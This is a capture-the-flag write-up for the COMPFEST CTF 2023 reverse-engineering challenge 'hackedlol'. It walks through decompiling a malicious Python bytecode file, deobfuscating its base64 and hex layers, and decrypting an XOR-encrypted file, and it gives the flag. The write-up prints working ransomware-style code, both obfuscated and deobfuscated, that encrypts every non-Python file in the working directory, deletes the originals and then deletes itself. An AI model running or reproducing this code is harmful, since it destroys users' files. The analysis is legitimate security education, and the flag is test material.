Post

COMPFEST CTF 2023 - hackedlol

Description

Category: Reverse

Someone hacked my computer! I really need my important file but it’s encrypted. The IT guy managed to recover one file. But I don’t think that is my file though.

WARNING: Do not run the pyc file unless you know what you are doing.

Author: k3ng

Attachments:

Resolution

1. Decompile Python Byte code

hackedlol.pyc contains Python byte code, we can decompile it to obtain the source code using pydumpck:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ pydumpck hackedlol.pyc 
...
pydumpck initilizing with 1.16.0
2023-09-12 12:34:49,957 [*] plugins loaded with ['pycdc']
368 *: plugins loaded with ['pycdc']
2023-09-12 12:34:49,957 [*] target file input:hackedlol.pyc
to:output_3623851
368 *: target file input:hackedlol.pyc
to:output_3623851
2023-09-12 12:34:49,958 [*] start dump target file. type:pyc
368 *: start dump target file. type:pyc
2023-09-12 12:34:52,960 [+] find suitable python-version:(3, 10),magic:3439
3370 +: find suitable python-version:(3, 10),magic:3439
2023-09-12 12:34:52,972 [+] decompile bytecode by pycdc success on file:output_3623851/hackedlol.pyc,length:3745
3382 +: decompile bytecode by pycdc success on file:output_3623851/hackedlol.pyc,length:3745
2023-09-12 12:34:52,972 [+] decompile bytecode on file:output_3623851/hackedlol.pyc,length:3745
3383 +: decompile bytecode on file:output_3623851/hackedlol.pyc,length:3745
2023-09-12 12:34:52,973 [+] completed,cost 3016ms with result:pyc file handled:output_3623851/hackedlol.pyc
3383 +: completed,cost 3016ms with result:pyc file handled:output_3623851/hackedlol.pyc
pyc file handled:output_3623851/hackedlol.pyc

In the output folder we now have the source code: hackedlol.pyc.cdc.py.

2. Deobfuscation

1
2
3
p = __import__('base64', globals(), locals())
exec(p.b64decode('cT1fX2ltcG9ydF9fKCdceDYyXHg2MVx4NzNceDY1XHgzNlx4MzQnLCBnbG9iYWxzKCksIGxvY2FscygpKTt6PV9faW1wb3J0X18oJ1x4NmZzJywgZ2xvYmFscygpLCBsb2NhbHMoKSk7eD1xLmI2NGRlY29kZSgiYm1ceDRhdmRIaFx4NzFaM1Z0Ym5ZOVhceDMxXHgzOVx4NzBiWEJ2Y25ceDUyZlh5Z1x4NmVYXHg0OGcyWmx4XHgzNE5ceDdhTVx4NmVMQ0JceDY2WDJKXHgzMWFXeDBhXHg1NzV6WDE4dVx4NTgxOWthV05ceDMwWDE5XHg2Mlx4NGEyZGNlRFpqYjJKXHg2OFx4NThIZ1x4MzJZM1x4NGRuWFNceDY3XHg3MExDQWdceDU4MTlpZFdceDZjc1x4NjRHbHVceDYzXHgzMTlmXHg0Y2w5Zlx4NWFceDQ3bGpceDY0Rlx4MzlmV3lceDY0XHg2M2VEWlx4NmFiMk5ceDY4WEhceDY3XHgzMlkzTVx4NmVceDU4U2dwS1x4NTR0XHg2YmIyXHg0NjNkV1x4NzBceDY5YUc1a1BWOVx4NjZhXHg1NzF3YjNceDRhMFgxOG9KMXg0Tlx4NmRaXHg3YUp5d2dYXHgzMVx4MzlpZFdsXHg3M2RHbHVjXHgzMTlceDY2TGxceDM5ZlpHbFx4NmFkRjlmV3lkXHg2ZVhIZzJZXHgzMjlceDY5WVZ4NE5ceDZkXHg0ZXpKXHgzMTBvS1N3XHg2N1x4NDlGOWZZblZwYkhScGJuTmZceDU4eVx4MzVceDY2WDJceDUycFlceDMzUmZYMVx4NzNuWEhnMlkyOWpZXHg1Nng0Tm1OekoxMG9LU1x4NmI3WW1WXHg2YWVceDQ4TjZjM0JceDZiYlx4MzJ0XHg3NVx4NjJuZGpQVzlceDc3Wlx4NTc0XHg2ZlpceDU4WmhiXHg0M2dpWEhnXHgzMVx4NWFceDZjeFx4MzRceDRlXHg1N1pjXHg2NURZMlhIZzJceDRmVnhceDM0Tm1NXHg2OVx4NGJceDc5SmNlRFx4NTkxWEhnMVx4NWFseDROV1lpS1NrdWNtVlx4NjhaQ2dceDcwQ2dwXHg2ZFx4NjIzSWdiSFpsWldceDZjcFx4NjNceDQ3MXVjM1I1YW5ceDQycExDQlx4NzdZblp0XHg2NFx4NmRceDRlNGFceDQ3XHgzNTJZbVx4MzloWlx4NTdvc1x4NDlHeGlceDVhV3QzWTNOclpIWmxaXHgzMkpceDZiXHg2NUNCcGJceDY5QnVZXHg2ZDkwZVx4NDdwXHg2ZWRXMVx4NzVkXHg2OVx4MzUzXHg1OVd4cktHNWliM1I0YW1kMWJceDU3NVx4MzJMbVx4NjRceDZjXHg2NEdOM1pceDQzXHg2N1x4NzBLVG9LSVx4NDNBZ0lHWlx4NzZceDYzaVx4NDJ2ZW5CdWJYSlx4NmRjbVx4NGV2WVx4NThONVlceDMzXHg0NVx4NjdhVzRnYkdKbGEzZGpjMlx4NzRrXHg2NG1WbllceDZkXHg1MjRPZ29nXHg0OVx4NDNBZ0lDQWdJR2xtSVx4NDc1dlx4NjRDQlx4NzZlbkJ1YlhKbVx4NjNtTnZceDU5WE41WTNceDQ1dVpXNWtjM2RceDcwZEdnb0lseDRNbVZceDYzZURjXHg3N1hceDQ4Z1x4MzNPU0lwT1x4NjdceDZmZ0lceDQzXHg0MWdJQ0FnSUNceDQxZ0lceDQzQnBceDYzXHg0N1x4NzBceDdhYzJOeVpXaDJlVzVceDZlWVhZOWIzQmxiXHg2OVx4NjhzZG1WbGFXbHdiVzV6ZFx4NDhscWNceDQ3XHg2YnJJXHg2Y3g0XHg0ZG1ZaUsyOTZjRzV0Y21aXHg3OVkyOWhjM2xqY1NceDc3Z1x4NDlceDZjeDROelx4NGFceDYzXHg2NURceDU5eUlpa3VjbVx4NTZoWkNceDY3cE9ceDMzSlx4NmVceDY1V2xzZG5kemNtUmpaRzVsZFx4NDQxdmNHVnVLR3hceDMyWldWXHg3MGFYQnRceDYyXHg2ZU5ceDMwZVx4NTdwd2FceDUzc2lYSGd5Wlx4NjlceDQ5cktHOTZjRzVceDc0Y21aeVkyXHgzOWhjM1x4NmNqY1M1eWMzQnNhWFFvSWk0aUxDQVx4NzhLVnN3WFNrXHg3MklpXHgzNWNlRFk0WEhnMk1WeDRceDRlak5jZURaaVhIZzJOVlx4Nzg0XHg0ZVx4NmFSY2VceDQ0WmpceDU4SGcyXHg1YWxceDc4NFx4NGVceDZkTWlceDRjQ1x4NDFpWEhnM04xXHg3OFx4MzRceDRlalx4NDlceDY5S1FvZ0lDQVx4NjdJXHg0M1x4NDFceDY3SUNceDQxZ1x4NDlceDQzQm1iXHgzM1x4NDlnYUc1d2NHTlx4MzNabXBceDMyY1x4MzIxXHg2YWNXXHg1Nlx4NjhJXHg0N1x4NmN1SUhKaFx4NjJtXHg2NGxLR3hsYmlceDY4XHg3MGNHcHpceDYzMk55WldoMmVceDU3XHgzNW5ZWFx4NTlwS1x4NTRvXHg0YklDXHg0MWdJQ0FceDY3XHg0OUNceDQxZ0lDQWdJQ0FnSUhKbmVXXHg2Y1x4NzNceDY0bmR6Y21ceDUyXHg2YVpHXHgzNWxkQ1x4MzUzY21sMFx4NWFceDUzaGpceDYxXHg0OElceDZmXHg2MVhCcWMzTmpjbVZvZG5sdVx4NWFceDMyRjJXMlx4NjhceDc1Y0hceDQyamQyXHg1YVx4NzFkbk5ceDc0XHg1OTNGbFlWXHgzMWViM1x4NGFrS1x4NDdceDRhbFx4NTkzaHplblx4NGV3Wkc5XHg3MmJtNTNZMXNvYUc1d2NHTlx4MzNceDVhXHg2ZHBceDMyYzIxalx4NjNceDU3VmhLakI0TWpjcEpceDU3eGxiaWhpWldOXHgzNGNceDMzcFx4N2FjXHg0N1J2YVx4MzI1dWQyTVx4NzBYU2tceDcwTG1WXHg3NVx4NTkyOWtaU1x4NjdwXHg0Ylx4NTFvXHg2N0lDXHg0MWdJQ0FnSVx4NDNBZ0lDQnVZbTkwZUdwbmRceDU3MXVkaTV5WlcxdmRtXHg1NW9iXHg0OFpceDZjWldsXHg3MGNHMXVceDYzM1I1YW5CcEtceDc5XHg0YWNlREptSWlceDc0dmVceDZlQlx4NzViWEptY21OdllceDU4TjVZM0VwQ2dwXHg2YmJceDMyRjNkV3BpXHg2MVx4NDc1XHg2YkxceDZlSmxiVzkyWlx4NTNobGRtRnNLXHg0M0pjXHg2NURceDU2XHg2ZFhIZzFabFx4Nzg0TmpaY2VEXHg1OTVYSFx4NjcyWVx4NzlJcklseDROalZjZURWXHg2ZFhIZzFaXHg2OUlwS1x4NTFceDNkXHgzZCIpO2Y9b3BlbigiXHg2OFx4NjVceDZjXHg3MFx4NjVceDcyXHgyZVx4NzBceDc5IiwgInciKTtmLndyaXRlKHguZGVjb2RlKCkpO2YuY2xvc2UoKTt6LnN5c3RlbSgiXHg3MFx4NzlceDc0XHg2OFx4NmZceDZlXHgzM1x4MjBceDY4XHg2NVx4NmNceDcwXHg2NVx4NzJceDJlXHg3MFx4NzkiKQ=='))

We replace exec with open('out.py', 'wb').write to save the executed code instead of running it.

1
q=__import__('\x62\x61\x73\x65\x36\x34', globals(), locals());z=__import__('\x6fs', globals(), locals());x=q.b64decode("bm\x4avdHh\x71Z3VtbnY9X\x31\x39\x70bXBvcn\x52fXyg\x6eX\x48g2Zlx\x34N\x7aM\x6eLCB\x66X2J\x31aWx0a\x575zX18u\x5819kaWN\x30X19\x62\x4a2dceDZjb2J\x68\x58Hg\x32Y3\x4dnXS\x67\x70LCAg\x5819idW\x6cs\x64Glu\x63\x319f\x4cl9f\x5a\x47lj\x64F\x39fWy\x64\x63eDZ\x6ab2N\x68XH\x67\x32Y3M\x6e\x58SgpK\x54t\x6bb2\x463dW\x70\x69aG5kPV9\x66a\x571wb3\x4a0X18oJ1x4N\x6dZ\x7aJywgX\x31\x39idWl\x73dGluc\x319\x66Ll\x39fZGl\x6adF9fWyd\x6eXHg2Y\x329\x69YVx4N\x6d\x4ezJ\x310oKSw\x67\x49F9fYnVpbHRpbnNf\x58y\x35\x66X2\x52pY\x33RfX1\x73nXHg2Y29jY\x56x4NmNzJ10oKS\x6b7YmV\x6ae\x48N6c3B\x6bb\x32t\x75\x62ndjPW9\x77Z\x574\x6fZ\x58Zhb\x43giXHg\x31\x5a\x6cx\x34\x4e\x57Zc\x65DY2XHg2\x4fVx\x34NmM\x69\x4b\x79JceD\x591XHg1\x5alx4NWYiKSkucmV\x68ZCg\x70Cgp\x6d\x623IgbHZlZW\x6cp\x63\x471uc3R5an\x42pLCB\x77YnZt\x64\x6d\x4e4a\x47\x352Ym\x39hZ\x57os\x49Gxi\x5aWt3Y3NrZHZlZ\x32J\x6b\x65CBpb\x69BuY\x6d90e\x47p\x6edW1\x75d\x69\x353\x59WxrKG5ib3R4amd1b\x575\x32Lm\x64\x6c\x64GN3Z\x43\x67\x70KToKI\x43AgIGZ\x76\x63i\x42venBubXJ\x6dcm\x4evY\x58N5Y\x33\x45\x67aW4gbGJla3djc2\x74k\x64mVnY\x6d\x524Ogog\x49\x43AgICAgIGlmI\x475v\x64CB\x76enBubXJm\x63mNv\x59XN5Y3\x45uZW5kc3d\x70dGgoIlx4MmV\x63eDc\x77X\x48g\x33OSIpO\x67\x6fgI\x43\x41gICAgIC\x41gI\x43Bp\x63\x47\x70\x7ac2NyZWh2eW5\x6eYXY9b3Blb\x69\x68sdmVlaWlwbW5zd\x48lqc\x47\x6brI\x6cx4\x4dmYiK296cG5tcmZ\x79Y29hc3ljcS\x77g\x49\x6cx4Nz\x4a\x63\x65D\x59yIikucm\x56hZC\x67pO\x33J\x6e\x65WlsdndzcmRjZG5ld\x441vcGVuKGx\x32ZWV\x70aXBt\x62\x6eN\x30e\x57pwa\x53siXHgyZ\x69\x49rKG96cG5\x74cmZyY2\x39hc3\x6cjcS5yc3BsaXQoIi4iLCA\x78KVswXSk\x72Ii\x35ceDY4XHg2MVx4\x4ejNceDZiXHg2NV\x784\x4e\x6aRce\x44Zj\x58Hg2\x5al\x784\x4e\x6dMi\x4cC\x41iXHg3N1\x78\x34\x4ej\x49\x69KQogICA\x67I\x43\x41\x67IC\x41g\x49\x43Bmb\x33\x49gaG5wcGN\x33Zmp\x32c\x321\x6acW\x56\x68I\x47\x6cuIHJh\x62m\x64lKGxlbi\x68\x70cGpz\x632NyZWh2e\x57\x35nYX\x59pK\x54o\x4bIC\x41gICA\x67\x49C\x41gICAgICAgIHJneW\x6c\x73\x64ndzcm\x52\x6aZG\x35ldC\x353cml0\x5a\x53hj\x61\x48I\x6f\x61XBqc3NjcmVodnlu\x5a\x32F2W2\x68\x75cH\x42jd2\x5a\x71dnN\x74\x593FlYV\x31eb3\x4akK\x47\x4al\x593hzen\x4ewZG9\x72bm53Y1soaG5wcGN\x33\x5a\x6dp\x32c21j\x63\x57VhKjB4MjcpJ\x57xlbihiZWN\x34c\x33p\x7ac\x47Rva\x325ud2M\x70XSk\x70LmV\x75\x5929kZS\x67p\x4b\x51o\x67IC\x41gICAgI\x43AgICBuYm90eGpnd\x571udi5yZW1vdm\x55ob\x48Z\x6cZWl\x70cG1u\x633R5anBpK\x79\x4aceDJmIi\x74ve\x6eB\x75bXJmcmNvY\x58N5Y3EpCgp\x6bb\x32F3dWpi\x61\x475\x6bL\x6eJlbW92Z\x53hldmFsK\x43Jc\x65D\x56\x6dXHg1Zl\x784NjZceD\x595XH\x672Y\x79IrIlx4NjVceDV\x6dXHg1Z\x69IpK\x51\x3d\x3d");f=open("\x68\x65\x6c\x70\x65\x72\x2e\x70\x79", "w");f.write(x.decode());f.close();z.system("\x70\x79\x74\x68\x6f\x6e\x33\x20\x68\x65\x6c\x70\x65\x72\x2e\x70\x79")

We need to deobfuscate the code first by:

  • replacing ; with \n;
  • evaluate hex string.

Once deobfuscated, we got this:

1
2
3
4
5
6
7
q=__import__('base64', globals(), locals())
z=__import__('os', globals(), locals())
x=q.b64decode("bm\x4avdHh\x71Z3VtbnY9X\x31\x39\x70bXBvcn\x52fXyg\x6eX\x48g2Zlx\x34N\x7aM\x6eLCB\x66X2J\x31aWx0a\x575zX18u\x5819kaWN\x30X19\x62\x4a2dceDZjb2J\x68\x58Hg\x32Y3\x4dnXS\x67\x70LCAg\x5819idW\x6cs\x64Glu\x63\x319f\x4cl9f\x5a\x47lj\x64F\x39fWy\x64\x63eDZ\x6ab2N\x68XH\x67\x32Y3M\x6e\x58SgpK\x54t\x6bb2\x463dW\x70\x69aG5kPV9\x66a\x571wb3\x4a0X18oJ1x4N\x6dZ\x7aJywgX\x31\x39idWl\x73dGluc\x319\x66Ll\x39fZGl\x6adF9fWyd\x6eXHg2Y\x329\x69YVx4N\x6d\x4ezJ\x310oKSw\x67\x49F9fYnVpbHRpbnNf\x58y\x35\x66X2\x52pY\x33RfX1\x73nXHg2Y29jY\x56x4NmNzJ10oKS\x6b7YmV\x6ae\x48N6c3B\x6bb\x32t\x75\x62ndjPW9\x77Z\x574\x6fZ\x58Zhb\x43giXHg\x31\x5a\x6cx\x34\x4e\x57Zc\x65DY2XHg2\x4fVx\x34NmM\x69\x4b\x79JceD\x591XHg1\x5alx4NWYiKSkucmV\x68ZCg\x70Cgp\x6d\x623IgbHZlZW\x6cp\x63\x471uc3R5an\x42pLCB\x77YnZt\x64\x6d\x4e4a\x47\x352Ym\x39hZ\x57os\x49Gxi\x5aWt3Y3NrZHZlZ\x32J\x6b\x65CBpb\x69BuY\x6d90e\x47p\x6edW1\x75d\x69\x353\x59WxrKG5ib3R4amd1b\x575\x32Lm\x64\x6c\x64GN3Z\x43\x67\x70KToKI\x43AgIGZ\x76\x63i\x42venBubXJ\x6dcm\x4evY\x58N5Y\x33\x45\x67aW4gbGJla3djc2\x74k\x64mVnY\x6d\x524Ogog\x49\x43AgICAgIGlmI\x475v\x64CB\x76enBubXJm\x63mNv\x59XN5Y3\x45uZW5kc3d\x70dGgoIlx4MmV\x63eDc\x77X\x48g\x33OSIpO\x67\x6fgI\x43\x41gICAgIC\x41gI\x43Bp\x63\x47\x70\x7ac2NyZWh2eW5\x6eYXY9b3Blb\x69\x68sdmVlaWlwbW5zd\x48lqc\x47\x6brI\x6cx4\x4dmYiK296cG5tcmZ\x79Y29hc3ljcS\x77g\x49\x6cx4Nz\x4a\x63\x65D\x59yIikucm\x56hZC\x67pO\x33J\x6e\x65WlsdndzcmRjZG5ld\x441vcGVuKGx\x32ZWV\x70aXBt\x62\x6eN\x30e\x57pwa\x53siXHgyZ\x69\x49rKG96cG5\x74cmZyY2\x39hc3\x6cjcS5yc3BsaXQoIi4iLCA\x78KVswXSk\x72Ii\x35ceDY4XHg2MVx4\x4ejNceDZiXHg2NV\x784\x4e\x6aRce\x44Zj\x58Hg2\x5al\x784\x4e\x6dMi\x4cC\x41iXHg3N1\x78\x34\x4ej\x49\x69KQogICA\x67I\x43\x41\x67IC\x41g\x49\x43Bmb\x33\x49gaG5wcGN\x33Zmp\x32c\x321\x6acW\x56\x68I\x47\x6cuIHJh\x62m\x64lKGxlbi\x68\x70cGpz\x632NyZWh2e\x57\x35nYX\x59pK\x54o\x4bIC\x41gICA\x67\x49C\x41gICAgICAgIHJneW\x6c\x73\x64ndzcm\x52\x6aZG\x35ldC\x353cml0\x5a\x53hj\x61\x48I\x6f\x61XBqc3NjcmVodnlu\x5a\x32F2W2\x68\x75cH\x42jd2\x5a\x71dnN\x74\x593FlYV\x31eb3\x4akK\x47\x4al\x593hzen\x4ewZG9\x72bm53Y1soaG5wcGN\x33\x5a\x6dp\x32c21j\x63\x57VhKjB4MjcpJ\x57xlbihiZWN\x34c\x33p\x7ac\x47Rva\x325ud2M\x70XSk\x70LmV\x75\x5929kZS\x67p\x4b\x51o\x67IC\x41gICAgI\x43AgICBuYm90eGpnd\x571udi5yZW1vdm\x55ob\x48Z\x6cZWl\x70cG1u\x633R5anBpK\x79\x4aceDJmIi\x74ve\x6eB\x75bXJmcmNvY\x58N5Y3EpCgp\x6bb\x32F3dWpi\x61\x475\x6bL\x6eJlbW92Z\x53hldmFsK\x43Jc\x65D\x56\x6dXHg1Zl\x784NjZceD\x595XH\x672Y\x79IrIlx4NjVceDV\x6dXHg1Z\x69IpK\x51\x3d\x3d")
f=open('helper.py', "w")
f.write(x.decode())
f.close()
z.system('python3 helper.py')

There is another script called helper.py, let save it only and not executing it by removing z.system('python3 helper.py') from the script.

Again we need to deobfuscate it:

1
2
3
4
5
6
7
8
9
10
11
nbotxjgumnv=__import__('\x6f\x73', __builtins__.__dict__['g\x6coba\x6cs'](),  __builtins__.__dict__['\x6coca\x6cs']());doawujbhnd=__import__('\x6fs', __builtins__.__dict__['g\x6coba\x6cs'](),  __builtins__.__dict__['\x6coca\x6cs']());becxszspdoknnwc=open(eval("\x5f\x5f\x66\x69\x6c"+"\x65\x5f\x5f")).read()

for lveeiipmnstyjpi, pbvmvcxhnvboaej, lbekwcskdvegbdx in nbotxjgumnv.walk(nbotxjgumnv.getcwd()):
    for ozpnmrfrcoasycq in lbekwcskdvegbdx:
        if not ozpnmrfrcoasycq.endswith("\x2e\x70\x79"):
            ipjsscrehvyngav=open(lveeiipmnstyjpi+"\x2f"+ozpnmrfrcoasycq, "\x72\x62").read();rgyilvwsrdcdnet=open(lveeiipmnstyjpi+"\x2f"+(ozpnmrfrcoasycq.rsplit(".", 1)[0])+".\x68\x61\x63\x6b\x65\x64\x6c\x6f\x6c", "\x77\x62")
            for hnppcwfjvsmcqea in range(len(ipjsscrehvyngav)):
                rgyilvwsrdcdnet.write(chr(ipjsscrehvyngav[hnppcwfjvsmcqea]^ord(becxszspdoknnwc[(hnppcwfjvsmcqea*0x27)%len(becxszspdoknnwc)])).encode())
            nbotxjgumnv.remove(lveeiipmnstyjpi+"\x2f"+ozpnmrfrcoasycq)

doawujbhnd.remove(eval("\x5f\x5f\x66\x69\x6c"+"\x65\x5f\x5f"))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
os = __import__('os', __builtins__.__dict__['globals'](),  __builtins__.__dict__['locals']())

helper_file = open(eval('__file__')).read()

for root, dirs, files in os.walk(os.getcwd()):
    for file in files:
        if not file.endswith('.py'):
            file_content = open(root+"/"+file, "rb").read()
            hacked_file = open(root+"/"+(file.rsplit(".", 1)[0])+'.hackedlol', "wb")
            for i in range(len(file_content)):
                hacked_file.write(chr(file_content[i]^ord(helper_file[(i*0x27)%len(helper_file)])).encode())
            os.remove(root+"/"+file)

os.remove(eval('__file__'))

3. Decryption

From the helper_deobfuscated.py code, we can see that the script encrypts all files that are not Python script.

The encryption process is simply done by XORing the content of the malicious script helper.py with the content of the target file:

1
chr(file_content[i]^ord(helper_file[(i*0x27)%len(helper_file)]))

The encryption follows this formula for each bytes at the position $i$:

\[encrypted\_file[i] = target\_file[i] \oplus f(i, helper\_file)\]

where \(f(i, helper\_file)\) is a byte that depends on helper.py and $i$ (correspond to ord(helper_file[(i*0x27)%len(helper_file)]) in the code).

We don’t need to know $f$ because:

\[target\_file[i] = encrypted\_file[i] \oplus f(i, helper\_file)\]

To decrypt the file, we just have to “encrypt” the encrypted file again:

1
2
3
4
5
6
# Obfuscated version of helper.py !!!
helper_file = open('helper.py').read()

encrypted_content = open("important_file.hackedlol", "rb").read()
for i in range(len(encrypted_content)):
    print(chr(encrypted_content[i]^ord(helper_file[(i*0x27)%len(helper_file)])), end="")

And we get the flag: COMPFEST15{wH4t_3veN_1s_tH1s_enCryPt10n_LOLZ_ab533e4f00}.

This post is licensed under CC BY 4.0 by the author.